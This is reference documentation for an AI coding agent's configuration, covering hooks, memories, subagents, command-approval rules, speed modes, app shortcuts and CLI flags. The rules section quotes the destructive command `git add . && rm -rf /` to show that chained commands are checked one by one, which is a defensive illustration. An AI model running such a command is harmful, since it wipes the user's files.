- `PostToolUse`: runs after supported tools including non-zero Bash exits; can't undo side effects. `decision: "block"` (or exit `2`) replaces the tool result with the feedback and continues; `continue: false` replaces the result with feedback or stop text. `updatedMCPToolOutput` and `suppressOutput` are parsed but unsupported. In code mode, a `PreToolUse` block rejects the tool promise before it runs, `updatedInput` runs with the rewritten input, a blocking `PostToolUse` rejects the promise after the tool ran, and `continue: false` doesn't reject the nested promise.
- `PreCompact` / `PostCompact`: `continue: false` stops before / after compacting.
- `UserPromptSubmit`: plain `stdout` or `additionalContext` adds developer context; block with `{"decision":"block","reason":...}` or exit `2`.
- `SubagentStop` and `Stop` expect JSON on `stdout` when exiting `0` (plain text is invalid). `decision: "block"` continues the flow, and for `Stop` automatically creates a continuation prompt using `reason` as new user prompt text. `continue: false` from any matching hook takes precedence over continuation decisions.
- `Interrupt`: runs when you interrupt an active turn on the main thread; not for idle threads or subagents; 1–3 second timeout; can't prevent the interruption or restart the turn; output is exit `0` with nothing, or JSON `{"systemMessage": "..."}`; plain text is invalid.
- Tool hooks are a guardrail, not a complete enforcement boundary; some specialized tool paths opt out of the default hook path. Exit `0` with no output is success.
- Schemas: the generated schemas live in the Codex GitHub repository (`codex-rs/hooks/schema/generated`); the `main` branch schemas may include fields not in the current release, so use this page as the release behavior reference.
- Shell wrappers with only plain words joined by `&&`/`||`/`;`/`|` are split per-command before `PreToolUse`/`PostToolUse` evaluation; scripts using redirection, substitution, env vars, wildcards, or control flow run as one opaque `["bash", "-lc", "<script>"]` call.
- Inline `[hooks]` tables are also summarized in the config category — see `../config/config-advanced.md`; this page is the full lifecycle/event/matcher/schema reference.
- **Codex hook event names (`PreToolUse`, `PostToolUse`, `SessionStart`, `SessionEnd`, `UserPromptSubmit`, `Stop`, `SubagentStart`, `SubagentStop`, `PreCompact`, `PostCompact`) are identical to Claude Code's hook events, and Codex even sets `CLAUDE_PLUGIN_ROOT`/`CLAUDE_PLUGIN_DATA` for plugin compatibility — but the two systems are not interchangeable.** Codex hooks live in `~/.codex/hooks.json` / inline `[hooks]` in `config.toml`; Claude Code hooks are configured in `.claude/settings.json`. Wire formats, plugin manifests, and trust models differ despite the shared event vocabulary.
## Related
- [Rules](./rules.md)
- [Subagents](./subagents.md)
- Advanced Configuration (`../config/config-advanced.md`)
references/agent-configuration/import.md
# Import from another agent
The import flow brings instructions, settings, skills, plugins, projects, and recent work from another agent into the ChatGPT desktop app or Codex CLI. The desktop app can import from Claude Code, Claude Cowork, or Cursor; Codex CLI can import from Claude Code or Cursor.
## Signature / Usage
```text
# Codex CLI
/import
```
1. Start a local Codex CLI session and type `/import`.
2. Choose **Claude Code** or **Cursor**.
3. Select the supported setup, project files, and recent chats to import.
4. Review the imported configuration and continue working in Codex.
Desktop app: open **Settings > Import** (or **General** > **Import other agent setup** if the Import section isn't available yet), select **Import**, choose agents, then choose items on **Select items to import**.
## Options / Props
| Imported item | Destination |
|---------------|-------------|
| Instruction files | `AGENTS.md` |
| `settings.json` | `config.toml` |
| Skills | Skills |
| Plugins | Plugins |
| Existing project folders | Projects using the same folders |
| Project memories from Claude Code | Memories |
| Chats from the last 30 days | ChatGPT chats |
| MCP server configuration | Codex MCP configuration |
| Hooks | Codex hooks |
| Slash commands | Skills |
| Subagents | Codex subagents |
## Notes
- Importing doesn't change or delete your existing agent setup. The flow checks user-level setup (files on your machine) and project-level setup (files in selected repositories and folders).
- Desktop app: after import a status card appears in the lower-left corner; select **Finish** on flagged plugins or connections to complete setup. Turn on automatic updates in **Settings > Import** to keep imported work in sync; import history is available in the same section.
- Codex CLI imports up to 50 chats from the last 30 days. `/import` isn't available during a running task, in a remote session, or while connected to a local app-server daemon.
- Review after importing: tool restrictions or permissions in imported skills and agents; MCP servers with custom authentication, headers, environment variables, or transports (you may need to sign in again); hooks whose behavior may differ; plugins or marketplaces needing manual follow-up; prompt templates that depend on arguments, shell interpolation, or file-path placeholders.
- Source: https://learn.chatgpt.com/docs/import (retrieved 2026-10).
## Related
- [AGENTS.md](./agents-md.md)
- [Hooks](./hooks.md)
- [Subagents](./subagents.md)
- [Memories](./memories.md)
references/agent-configuration/memories.md
# Memories
Memories let ChatGPT and Codex carry useful context from earlier work into future work. ChatGPT web uses ChatGPT memory, while local Codex clients use a separate local memory store and controls.
## Signature / Usage
```toml
# config.toml (local memories are off by default)
[features]
memories = true
```
Chat-level control: run `/memories` in the ChatGPT desktop app or Codex CLI (TUI) to choose whether the current chat can use existing memories and whether it can contribute to future memories. Chat-level choices don't change global memory settings.
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| `memories.generate_memories` | config.toml | Controls whether newly created chats can be stored as memory-generation inputs. |
| `memories.use_memories` | config.toml | Controls whether Codex injects existing memories into future sessions. |
| `memories.disable_on_external_context` | boolean | When `true`, keeps chats that used external context (MCP tool calls, web search, tool search) out of memory generation. The older `memories.no_memories_if_mcp_or_web_search` key is still accepted as an alias. |
| `memories.min_rate_limit_remaining_percent` | config.toml | Minimum remaining Codex rate-limit percentage required before memory generation starts. |
| `memories.extract_model` | string | Overrides the model used for per-chat memory extraction. |
| `memories.consolidation_model` | string | Overrides the model used for global memory consolidation. |
Desktop app settings (**Settings > Personalization**): **Enable Codex memories** (on/off for the selected machine), **Allow memories from tool-assisted chats** (whether chats using MCP tools or web search can contribute), **Delete Codex memories** (resets the selected machine's memory store; on the local machine this also clears Computer History when available).
## Notes
- Keep required team guidance in `AGENTS.md` or checked-in documentation. Treat memories as a helpful recall layer, not the only source for rules that must always apply.
- Codex skips active or short-lived sessions, redacts secrets from generated memory fields, and updates memories in the background after a chat has been idle long enough; memories may not update right away. Generation can also skip a background pass when the rate-limit remaining percentage is below the configured threshold.
- Storage: under the Codex home directory (default `~/.codex`; see `CODEX_HOME`). Main files live under `~/.codex/memories/` and include summaries, durable entries, recent inputs, and supporting evidence. Treat them as generated state; inspect when troubleshooting or before sharing your Codex home directory, but don't rely on hand-editing.
- Don't store secrets in memories; review memory files before sharing generated artifacts.
- The IDE extension uses the connected Codex host's local memory store, with the same chat-level controls as Codex CLI.
- ChatGPT Work uses ChatGPT memory (managed in **Settings > Personalization**), not a local Codex memory store or local controls.
- Computer History is a macOS desktop feature that turns activity across allowed apps and websites into memories and a timeline ChatGPT and Codex can reference.
- Source: https://learn.chatgpt.com/docs/customization/memories (retrieved 2026-10).
## Related
- [AGENTS.md](./agents-md.md)
- [Import from another agent](./import.md)
references/agent-configuration/prompting.md
# Prompting
General guidance for writing effective prompts across Chat, ChatGPT Work, and Codex, plus Codex-specific prompting workflows (explain a codebase, fix a bug, write a test, code review, delegate to cloud).
## Signature / Usage
```text
Bug: Clicking "Save" on the settings screen sometimes shows "Saved" but doesn't persist the change.
Repro:
1) Start the app: npm run dev
2) Go to /settings
3) Toggle "Enable alerts"
4) Click Save
5) Refresh the page: the toggle resets
Constraints:
- Do not change the API shape.
- Keep the fix minimal and add a regression test if feasible.
Start by reproducing the bug locally, then propose a patch and run checks.
```
## Options / Props
| Name | Description |
|------|-------------|
| Goal | What Codex should do. |
| Context | Information/sources that help (files via `@`/`/mention`, repro steps, constraints). |
| Output | Format, length, level of detail needed. |
| Boundaries | What must stay unchanged; what to avoid or confirm before acting. |
## Notes
- A useful Codex prompt names the target behavior, points to relevant code or reproduction steps, states constraints, and says how to verify the change.
- `/plan` (app composer) asks Codex to investigate and propose an approach before editing a multi-step task; `/goal` sets a persistent goal once Goal mode is available.
- The IDE extension automatically includes open files as context; in the CLI, mention paths explicitly or attach files with `/mention` and `@` path autocomplete.
- Codex runs local commands inside a sandbox limiting file/network access; crossing that boundary requires following the approval policy.
- Prompting works without technical syntax or a rigid formula: start in your own words, review the response, and use follow-up messages. Use only the parts (Goal / Context / Output / Boundaries) that help. Start with the result, not a list of steps; describe a process only when the process itself matters.
- Plugins give ChatGPT and Codex reusable instructions and connections to tools such as Google Drive, Gmail, Slack, and GitHub; both products draw public plugins from the same universal directory. Ask for the result you need and let the active surface choose tools. Connected sources require the matching plugin, and availability can depend on plan and workspace settings.
- Set only the one or two boundaries that matter (e.g. "Prepare the message as a draft. Don't send it.", "Use only the supplied sources. Flag missing information instead of guessing.").
- Make the result ready to use: say how you plan to use it (length, level of detail, organization), ask for a final check on important work (e.g. every action item has an owner and due date), then review the result yourself before sharing.
- Improve with follow-up messages: add a missing source, correct the direction, ask for another option, or change the level of detail without starting over.
- Steering vs queuing a follow-up while Codex is working: **Steer** injects the message into the current run (CLI: `Enter`); **Queue** saves it for the next run (CLI: `Tab`). In the ChatGPT desktop app, the default is under **Settings > General > Follow-up behavior**; queued messages appear above the composer where you can edit, reorder, send, or delete them.
- Voice dictation: in the ChatGPT desktop app, select **Dictate** in the composer and talk; speech is transcribed into the composer so you can review and edit before sending.
- Custom prompts (`~/.codex/prompts/*.md`, invoked as `/prompts:<name>`) are deprecated; use skills (see build-skills) for reusable instructions that Codex can invoke explicitly or implicitly.
- `/review` runs a local code review of the working tree (optionally with focus instructions, e.g. `/review Focus on edge cases and security issues`); `@codex review` triggers review from a GitHub PR comment.
- Documented Codex workflows: explain a codebase, fix a bug, write a test, prototype from a screenshot, iterate on UI with live updates, delegate a refactor to the cloud, do a local code review, review a GitHub pull request, update documentation — each pairs an IDE and/or CLI workflow with context notes and a verification step.
## Related
- [Custom Instructions with AGENTS.md](./agents-md.md)
- [Subagents](./subagents.md)
references/agent-configuration/README.md
# Agent Configuration
| Name | Description | Path |
| --- | --- | --- |
| Custom Instructions with AGENTS.md | Codex reads `AGENTS.md` files before doing any work, layering global guidance with project-specific overrides so every task starts with consistent expectations. | [agents-md.md](./agents-md.md) |
| Hooks | Extensibility framework that lets you run scripts or MCP tools during the agentic loop — logging/analytics, blocking accidental secret pastes, auto-summarizing chats into persistent memories, validating a turn before it stops, or customizing prompting per directory. Hooks are enabled by default. | [hooks.md](./hooks.md) |
| Import from another agent | The import flow brings instructions, settings, skills, plugins, projects, and recent work from another agent into the ChatGPT desktop app or Codex CLI. The desktop app can import from Claude Code, Claude Cowork, or Cursor; Codex CLI can import from Claude Code or Cursor. | [import.md](./import.md) |
| Memories | Memories let ChatGPT and Codex carry useful context from earlier work into future work. ChatGPT web uses ChatGPT memory, while local Codex clients use a separate local memory store and controls. | [memories.md](./memories.md) |
| Prompting | General guidance for writing effective prompts across Chat, ChatGPT Work, and Codex, plus Codex-specific prompting workflows (explain a codebase, fix a bug, write a test, code review, delegate to cloud). | [prompting.md](./prompting.md) |
| Rules | Rules control which commands Codex can run outside the sandbox. Rules are experimental and may change. | [rules.md](./rules.md) |
| Speed | You can increase model speed in Codex in exchange for higher usage: Fast mode and Ultrafast mode. | [speed.md](./speed.md) |
| Subagents | ChatGPT Work and Codex can run subagent workflows: spawning specialized agents in parallel and collecting their results into one response, useful for highly parallel tasks like codebase exploration or multi-step feature plans. In local Codex clients you can also define custom agents with distinct model configurations and instructions. | [subagents.md](./subagents.md) |
references/agent-configuration/rules.md
# Rules
Rules control which commands Codex can run outside the sandbox. Rules are experimental and may change.
## Signature / Usage
```python
# ~/.codex/rules/default.rules
prefix_rule(
pattern = ["gh", "pr", "view"],
decision = "prompt",
justification = "Viewing PRs is allowed with approval",
match = [
"gh pr view 7888",
"gh pr view --repo openai/codex",
"gh pr view 7888 --json title,body,comments",
],
not_match = [
"gh pr --repo openai/codex view 7888",
],
)
```
```shell
codex execpolicy check --pretty \
--rules ~/.codex/rules/default.rules \
-- gh pr view 7888 --json title,body,comments
```
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| `pattern` | list (required) | Command prefix to match; each element is a literal string or a union of literals (e.g. `["view", "list"]`) to match alternatives at that position. |
| `decision` | `"allow"` \| `"prompt"` \| `"forbidden"` (default `"allow"`) | Action when the rule matches. `allow` runs the command outside the sandbox without prompting; `prompt` prompts before each matching invocation; `forbidden` blocks without prompting. Codex applies the most restrictive decision when multiple rules match (`forbidden` > `prompt` > `allow`). |
| `justification` | string (optional, non-empty) | Human-readable reason surfaced in approval prompts or rejection messages; when using `forbidden`, include a recommended alternative (e.g. "Use `rg` instead of `grep`."). |
| `match` / `not_match` | list (default `[]`) | Example commands Codex validates when loading the rules file, to catch authoring mistakes. |
## Notes
- Create a `.rules` file under a `rules/` folder next to an active config layer (e.g. `~/.codex/rules/default.rules`); restart Codex to load changes.
- Codex scans `rules/` under every active config layer at startup, including Team Config locations and `~/.codex/rules/`. Project-local rules under `<repo>/.codex/rules/` load only when the project `.codex/` layer is trusted.
- Allow-listing a command in the TUI writes to `~/.codex/rules/default.rules`. With Smart approvals enabled (default), Codex may propose a `prefix_rule` during escalation requests — review the suggested prefix before accepting.
- Admins can enforce restrictive `prefix_rule` entries from `requirements.toml` (managed configuration).
- Shell wrappers (`bash -lc`, `zsh -c`, etc.) containing only plain words joined by safe operators (`&&`, `||`, `;`, `|`) are parsed with tree-sitter and split into individual commands before rule evaluation, so the most restrictive per-command result wins (e.g. `git add . && rm -rf /` is not auto-allowed just because `git add` is allowed). Scripts using redirection, substitution, env vars, wildcards, or control flow are NOT split and are evaluated as a single `["bash", "-lc", "<full script>"]` invocation.
- The `.rules` file format uses Starlark (Python-like syntax, designed to be safe to run: no side effects such as touching the filesystem).
- `pattern` must be a non-empty list and an exact prefix of the argument list (like what `execvp(3)` receives); `gh pr --repo openai/codex view 7888` does not match `["gh", "pr", "view"]`.
- `codex execpolicy check` emits JSON showing the strictest decision and matching rules (including `justification`); repeat `--rules` to combine files.
- Linear chains are split only for plain words joined by `&&`, `||`, `;`, `|`; redirection (`>`, `>>`, `<`), substitutions, `FOO=bar`, wildcards (`*`, `?`), and control flow are not split.
- Local `.rules` files apply to Codex; Local computer access with Work Cloud uses managed command rules (`rules` TOML field in Agent Security) instead and does not read local rule files.
## Related
- [Custom Instructions with AGENTS.md](./agents-md.md)
- [Subagents](./subagents.md)
references/agent-configuration/speed.md
# Speed
You can increase model speed in Codex in exchange for higher usage: Fast mode and Ultrafast mode.
## Signature / Usage
```text
/fast on
/fast off
/fast status
/statusline
```
```toml
# config.toml
service_tier = "fast"
[features]
fast_mode = true
```
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| `/fast on` \| `/fast off` \| `/fast status` | CLI command | Change or inspect the current Fast mode setting. |
| `/statusline` | CLI command | Show Fast mode in the footer. |
| `service_tier = "fast"` | config.toml | Persists Fast mode as the default. |
| `[features].fast_mode` | boolean (config.toml) | Enables Fast mode alongside `service_tier`. |
## Notes
- **Fast mode:** Fast mode speeds up supported models, including GPT-6.1 Sol, GPT-6 Astra, GPT-6 Sol, and GPT-6 Luna, where available. For GPT-5.6, the speed increase is 1.5x.
- Available in the ChatGPT desktop app, Codex CLI, and IDE extension when you sign in with ChatGPT.
- Billing: Fast mode uses included subscription limits at 2.5x the Standard rate. Purchased credits and Enterprise pay-as-you-go usage are billed at 2x the Standard rate.
- **Ultrafast mode:** Ultrafast supports GPT-6 Astra and GPT-6.1 Sol. GPT-6 Astra Ultrafast generates tokens up to 8x faster than GPT-6 Astra in Standard mode in Codex.
- Available in Codex and ChatGPT Work on Pro $500 and eligible Enterprise and Edu plans. On Pro $500, Ultrafast uses your included usage first, then your available credits.
- Billing: included subscription limits at 8x the Standard rate; purchased credits and Enterprise pay-as-you-go usage at 6x.
- Enterprise workspaces: off by default. Workspace owners can enable access for selected users or the workspace through workspace permissions. Existing per-user spend controls apply to eligible Ultrafast usage.
- Eligible Enterprise workspaces use credit-based or USD usage-based agreements. Eligible Edu plans use credits. Legacy Enterprise plans that rely on rate limits instead of usage-based billing aren't supported. Other self-serve plans don't have access at launch, even with purchased credits.
- Inference residency: GPT-6.1 Sol Ultrafast supports the United States and Europe (EEA + Switzerland); GPT-6 Astra Ultrafast supports the United States only.
- **Billing and API:** ChatGPT Work and Codex share the same pricing, credits, and usage limits.
- With an API key, Codex uses API token pricing instead, and ChatGPT credit multipliers don't apply. For API availability, request configuration, and pricing, see "Ultrafast mode in the API" in the OpenAI API docs (https://developers.openai.com/api/docs/guides/ultrafast-mode).
- **Retirement and migration:** `gpt-5.3-codex-spark` (Codex-Spark) retired on 2026-09-14 (see models.md).
- GPT-5.5 retires from Codex with ChatGPT sign-in on October 14, 2026, at noon PDT (19:00 UTC). The OpenAI API and Codex sessions authenticated with an API key aren't affected.
- Source: https://learn.chatgpt.com/docs/agent-configuration/speed (retrieved 2026-10). Codex-Spark retirement: https://learn.chatgpt.com/docs/changelog#codex-2026-09-14-codex-spark-deprecation
## Related
- [Subagents](./subagents.md)
- [Models](../getting-started/models.md)
references/agent-configuration/subagents.md
# Subagents
ChatGPT Work and Codex can run subagent workflows: spawning specialized agents in parallel and collecting their results into one response, useful for highly parallel tasks like codebase exploration or multi-step feature plans. In local Codex clients you can also define custom agents with distinct model configurations and instructions.
## Signature / Usage
```text
Review this branch with parallel subagents. Spawn one subagent for security
risks, one for test gaps, and one for maintainability. Wait for all three,
then summarize the findings by category with file references.
```
```toml
# .codex/agents/reviewer.toml
name = "reviewer"
description = "PR reviewer focused on correctness, security, and missing tests."
model = "gpt-6.1-sol"
model_reasoning_effort = "medium"
developer_instructions = """
Review code like an owner.
Do not edit files.
Prioritize correctness, security, behavior regressions, and missing test coverage.
Lead with concrete findings, include reproduction steps when possible, and avoid style-only comments unless they hide a real bug.
"""
```
```toml
# .codex/config.toml (project)
[agents]
max_concurrent_threads_per_session = 8
[mcp_servers.chrome_devtools]
url = "http://localhost:3000/mcp"
startup_timeout_sec = 20
```
```toml
# Disable an individual skill for one custom agent
[[skills.config]]
path = "/Users/me/.agents/skills/docs-editor/SKILL.md"
enabled = false
```
## Options / Props
Global settings live under `[agents]` in `config.toml`.
| Field | Type | Required | Purpose |
|-------|------|----------|---------|
| `agents.enabled` | boolean | No | Enable or disable multi-agent tools (default `true`). |
| `agents.max_concurrent_threads_per_session` | number | No | Cap concurrently open spawned-agent threads, excluding the primary (legacy alias: `agents.max_threads`). Unset: Codex chooses the default. |
| `agents.default_subagent_model` | string | No | Default model for spawned agents. |
| `agents.default_subagent_reasoning_effort` | string | No | Default reasoning effort for spawned agents. |
| `agents.interrupt_message` | boolean | No | Record a model-visible message when an agent turn is interrupted (default `true`). |
Custom agent file schema (`~/.codex/agents/*.toml` or `.codex/agents/*.toml`):
| Field | Type | Required | Purpose |
|-------|------|----------|---------|
| `name` | string | Yes | Agent name Codex uses when spawning or referring to this agent. The `name` field is the source of truth (matching the filename is a convention). |
| `description` | string | Yes | Human-facing guidance for when Codex should use this agent. |
| `developer_instructions` | string | Yes | Core instructions that define the agent's behavior. |
| `model`, `model_reasoning_effort`, `model_reasoning_summary`, `model_verbosity` | string | No | Customize model behavior (accepted values: see config-reference.md). |
| `features.shell_tool`, `features.apps`, `features.plugins`, `features.memories`, `features.request_permissions_tool` | boolean | No | Set to `false` to reduce the agent's capabilities. |
| `skills.config`, `skills.bundled.enabled`, `skills.include_instructions` | table / boolean | No | Disable individual skills (`skills.config`), bundled skills (`skills.bundled.enabled = false`), or omit the automatic skills instructions block (`skills.include_instructions = false`). Managed requirements still apply. |
## Notes
- Availability: current Codex releases enable subagent workflows by default; activity appears in the ChatGPT desktop app, Codex CLI, and IDE extension. ChatGPT Work exposes subagent workflows and activity to eligible accounts and runs them in its hosted environment.
- Subagent workflows consume more tokens than comparable single-agent runs because each subagent does its own model and tool work. Use parallel agents for read-heavy tasks (exploration, tests, triage, summarization); be more careful with parallel write-heavy workflows because concurrent edits conflict.
- Core terms: subagent workflow (Codex runs parallel agents and combines results), subagent (a delegated agent for a specific task), agent thread (the thread where a subagent works; supported clients let you open it).
- Triggering: use direct instructions ("spawn two agents", "delegate this work in parallel", "use one agent per point"). Local Codex releases also delegate when applicable `AGENTS.md` or skill instructions request it. In ChatGPT Work, Ultra lets ChatGPT delegate proactively; at other intelligence levels ask explicitly.
- Model resolution: if you configure no subagent model or `model_reasoning_effort`, the subagent inherits the parent's. Codex resolves each setting from an explicit spawn value, then the `[agents]` default, then the parent's value. If a spawn request or `[agents]` default selects a model with no effort, the model's default effort is used. A value set in the custom agent file takes precedence. A file that sets only `model` preserves the previously resolved effort; set `model_reasoning_effort` too if the model doesn't support that effort.
- Model choice: `gpt-6.1-sol` for demanding agents (ambiguous, multi-step work); `gpt-6-luna` for fast, narrowly scoped, clear, repeatable, or high-volume work. For explicit settings, start with `high` for GPT-6 Luna or `low` for GPT-6 Astra. Effort levels: `ultra`, `max`, `xhigh` (when the model supports them), `high`, `medium`, `low`.
- Orchestration: Codex handles spawning, routing follow-up instructions, waiting for results, and closing agent threads. When many agents run, Codex waits until all requested results are available, then returns a consolidated response.
- Managing: CLI `/subagents` inspects and switches between agent threads. Desktop app: open a subagent thread from the activity in the main thread. IDE: expand the background-agent panel to inspect status, stop active subagents, or open a thread. Web: read-only **Active** / **Done** lists with no stop/steer control. In all clients you can ask Codex directly to steer, stop, or close subagent threads.
- Approvals and sandbox: subagents inherit the parent turn's sandbox policy and permission mode (including changes made with `/permissions` or `--yolo`); a custom agent file can't replace them. Set sandbox and approval controls on the parent session. Custom agent instructions can ask an agent to avoid edits but don't create a separate read-only sandbox. In the CLI, approval requests can surface from inactive agent threads; the overlay shows the source thread label and `o` opens that thread. In non-interactive flows, an action needing new approval fails and the error surfaces to the parent workflow.
- Built-in agents: `default` (general-purpose fallback), `worker` (execution-focused implementation/fixes), `explorer` (read-heavy codebase exploration). A custom agent whose name matches a built-in (e.g. `explorer`) takes precedence.
- Custom agents inherit the parent's permissions, provider, and MCP servers. `sandbox_mode`, `approval_policy`, `model_provider`, and `mcp_servers` placed in a custom agent file don't override the parent configuration; the service tier also follows the root session. Configure MCP servers in the parent session (e.g. `[mcp_servers.openaiDeveloperDocs]` with `url = "https://developers.openai.com/mcp"` in `.codex/config.toml`).
- The official examples pair `pr_explorer` / `docs_researcher` / `code_mapper` / `ui_fixer` (`gpt-6-luna`, effort `high`) with `reviewer` / `browser_debugger` (`gpt-6.1-sol`, effort `medium`).
- This is OpenAI Codex's own agent-configuration mechanism (`~/.codex/agents/`, `.codex/agents/*.toml`, `AGENTS.md`) and is unrelated to Claude Code's `.claude/` directory structure (subagent definitions, skills, rules) — the two are not interchangeable, despite similar terminology ("subagent", "agent").
## Related
- [Custom Instructions with AGENTS.md](./agents-md.md)
- [Rules](./rules.md)
- [Speed](./speed.md)
references/commands/app-commands.md
# ChatGPT desktop app commands
Keyboard shortcuts, chat search, and `codex://` deep links of the ChatGPT desktop app.
## Signature / Usage
```text
codex://threads/new?prompt=Show%20me%20some%20fun%20stats%20about%20how%20I%27ve%20been%20using%20Codex
codex://new?prompt=%5B%40Example%5D(plugin%3A%2F%2Fexample%40openai-curated)%20Summarize%20this%20document
```
## Options / Props
Selected default shortcuts (macOS / Windows and Linux; open **Settings > Keyboard Shortcuts** to search, change, or reset):
| Action | macOS | Windows / Linux |
|--------|-------|-----------------|
| Open command menu | Cmd+Shift+P or Cmd+K | Ctrl+Shift+P or Ctrl+K |
| Open settings | Cmd+, | Ctrl+, |
| Open keyboard shortcuts | Cmd+/ | Ctrl+/ |
| Toggle sidebar | Cmd+B or Cmd+Shift+S | Ctrl+B or Ctrl+Shift+S |
| Toggle terminal (Codex only) | Ctrl+` | Ctrl+` |
| New chat | Cmd+N or Cmd+Shift+O | Ctrl+N or Ctrl+Shift+O |
| New standalone chat (Codex only) | Cmd+Opt+O | Ctrl+Alt+O |
| Archive chat | Cmd+Shift+A | Ctrl+Shift+A |
| Open side chat (Codex only) | Cmd+Opt+S | Ctrl+Alt+S |
| Find in chat | Cmd+F | Ctrl+F |
| Open model picker | Ctrl+Shift+M | Ctrl+Shift+M |
| Search files (Codex only) | Cmd+P | Ctrl+P |
| Open review tab (Codex only) | Ctrl+Shift+G | Ctrl+Shift+G |
| Open browser tab | Cmd+T | Ctrl+T |
| Copy chat deep link | Cmd+Opt+L | Ctrl+Alt+L |
| Take an Appshot | Cmd+Cmd (both keys simultaneously) | not listed |
Deep links (the app keeps the `codex://` scheme for compatibility; encode query values):
| Deep link | Opens |
|-----------|-------|
| `codex://threads/new` | A new local chat. |
| `codex://new?<query>` | A new local chat; include at least one of `prompt`, `path`, or `originUrl`, otherwise the link does nothing. |
| `codex://threads/<thread-id>` | A local chat. |
| `codex://settings` | Settings. Sub-paths: `browser-use`, `computer-use/google-chrome`, `connections`, `connections/computer`, `connections/devices`, `connections/ssh`, `connections/ssh/add?name=<ssh-config-host>`. |
| `codex://skills` | Skills. |
| `codex://automations` | Scheduled with the create flow open. |
| `codex://plugins/install/<plugin-name>?marketplace=<marketplace-name>` | Plugin install flow (`openai-curated` for OpenAI-curated plugins). |
| `codex://plugins/<plugin-id>` | Plugin detail (`<plugin-name>@openai-curated` for curated). |
| `codex://plugins/<plugin-name>?marketplacePath=<absolute-marketplace-path>` | Local plugin detail; optional `mode=share`. |
| `codex://pets/install?name=<pet-name>&imageUrl=<https-image-url>` | Pet install flow; optional `description`, `spriteVersionNumber` (1 default, or 2). |
New-chat query parameters: `prompt=<text>` (initial composer text), `path=<absolute-path>` (local workspace), `originUrl=<git-remote-url>` (matches a workspace root; `path` resolves first).
## Notes
- Search chats has no default shortcut; assign one under Settings > Keyboard Shortcuts. Find in chat doesn't search across other chats.
- A link with a plugin mention opens a new chat with the decoded prompt but does not send it automatically.
- `codex://settings/connections/ssh/add?name=` must match a host alias in `~/.ssh/config`; the link disables automatic connection for the added host. Unsupported `codex://settings/...` paths open main Settings. Invalid pet links do nothing.
- Only a subset of shortcuts is listed here; the full per-platform tables (General, Chats, Input and modes, Workspace and browser) are on the source page. Some shortcuts appear only when the feature or view is available. On Linux, experimental native Wayland can affect shortcut support.
- Source: https://learn.chatgpt.com/docs/reference/commands (fetched 2026-10).
## Related
- [app-settings.md](./app-settings.md)
- [cli-slash-commands.md](./cli-slash-commands.md)
references/commands/app-settings.md
# ChatGPT desktop app settings
Sections of the desktop app Settings panel (open with Cmd+, on macOS, Ctrl+, on Windows, or `codex://settings`).
## Signature / Usage
```text
codex://settings
```
## Options / Props
| Section | What it controls |
|---------|------------------|
| General | Whether Enter sends prompts, or Cmd/Ctrl+Enter is required for multiline prompts or every prompt. On macOS and Linux, **Prevent sleep while running**. **Follow-up behavior**: a message sent while ChatGPT works steers the current run or waits for the next run. |
| Profile | Activity insights, lifetime and peak tokens, streaks, longest task, token activity; profile picture, display name, username; profile card (sharing on consumer ChatGPT plans); **Invite a friend** / **Invite a coworker** for eligible plans. |
| Keyboard shortcuts | Review commands, change bindings, reset to defaults; search by command name or by keystroke. |
| Notifications | When turn-completion notifications appear and whether to prompt for notification permissions. |
| Appearance | Base theme, accent / background / foreground colors, UI and code fonts; share a custom theme. |
| Pets | Built-in or custom pet; `/pet`, **Show pet**, **Hide pet**; **Mini** keeps chat controls visible without a pet. |
| Browser | Install or enable the bundled Browser plugin, set up the browser extension; **Agent permissions** (Browse, Download, Upload) with **Requires approval**, **Always allow**, **Block**, plus per-site exceptions. Organizations can restrict these controls. |
| Computer Use | Review desktop-app access after setup; on macOS revoke system-level access via Screen Recording or Accessibility in Privacy & Security. |
| Personalization | Edit personal instructions in `AGENTS.md` for the selected machine. |
| Suggested prompts | Context-aware follow-ups and tasks to resume. |
| Memories | **Enable Codex memories** (where available) under Personalization. |
| Archived chats | Archived chats with dates and project context; **Unarchive** to restore. |
## Notes
- Removing a site's custom browser permissions resets them to the defaults.
- To keep a chat near your work, pop an active chat out into a separate window; **Always on top** keeps it visible over other apps.
- Source: https://learn.chatgpt.com/docs/reference/settings (fetched 2026-10).
## Related
- [app-commands.md](./app-commands.md)
- [ide-settings.md](./ide-settings.md)
references/commands/cli-global-flags.md
# Codex CLI global flags and command overview
Global flags of the base `codex` command and the overview of every documented CLI command with its maturity label.
## Signature / Usage
```bash
codex [OPTIONS] [PROMPT]
codex --model <MODEL> --sandbox workspace-write --ask-for-approval on-request "Tell me about this project"
```
## Options / Props
Global flags (apply to the base `codex` command; most propagate to subcommands, e.g. `codex exec --oss ...` applies `--oss` to `exec`):
| Name | Type | Description |
|------|------|-------------|
| `PROMPT` | string | Optional text instruction to start the session. Omit to launch the TUI without a pre-filled message. |
| `--image, -i` | path[,path...] | Attach image files to the initial prompt. Separate paths with commas or repeat the flag. |
| `--model, -m` | string | Override the model set in configuration. |
| `--oss` | boolean (default `false`) | Use a local open source model provider. Uses `--local-provider`, your configured `oss_provider`, or prompts you to choose between LM Studio and Ollama. |
| `--local-provider` | lmstudio \| ollama | Choose the local provider used with `--oss`, overriding `oss_provider` for this run. |
| `--profile, -p` | string | Layer `$CODEX_HOME/profile-name.config.toml` on top of the base user config. |
| `--sandbox, -s` | read-only \| workspace-write \| danger-full-access | Sandbox policy for model-generated shell commands. |
| `--ask-for-approval, -a` | on-request \| never | Control when Codex pauses for human approval before running a command. |
| `--approve-for-me, --not-so-yolo` | boolean (default `false`) | Automatic approval review with `on-request` approvals and the `workspace-write` sandbox. Conflicts with `--sandbox` and `--yolo`; the interactive CLI also rejects `--ask-for-approval`. |
| `--dangerously-bypass-approvals-and-sandbox, --yolo` | boolean (default `false`) | Run every command without approvals or sandboxing. Only use inside an externally hardened environment. |
| `--dangerously-bypass-hook-trust` | boolean (default `false`) | Run enabled hooks without requiring persisted hook trust for this invocation. Only for automation that already vets hook sources. |
| `--cd, -C` | path | Working directory for the agent before it starts processing your request. |
| `--search` | boolean (default `false`) | Enable live web search (sets `web_search = "live"` instead of the default `"cached"`). |
| `--add-dir` | path | Grant additional directories write access alongside the main workspace. Repeatable. |
| `--no-alt-screen` | boolean (default `false`) | Disable alternate screen mode for the TUI (overrides `tui.alternate_screen` for this run). |
| `--no-daemon` | boolean (default `false`) | Run the interactive CLI without the shared background server. Can't be combined with `--remote` or `codex agents`. |
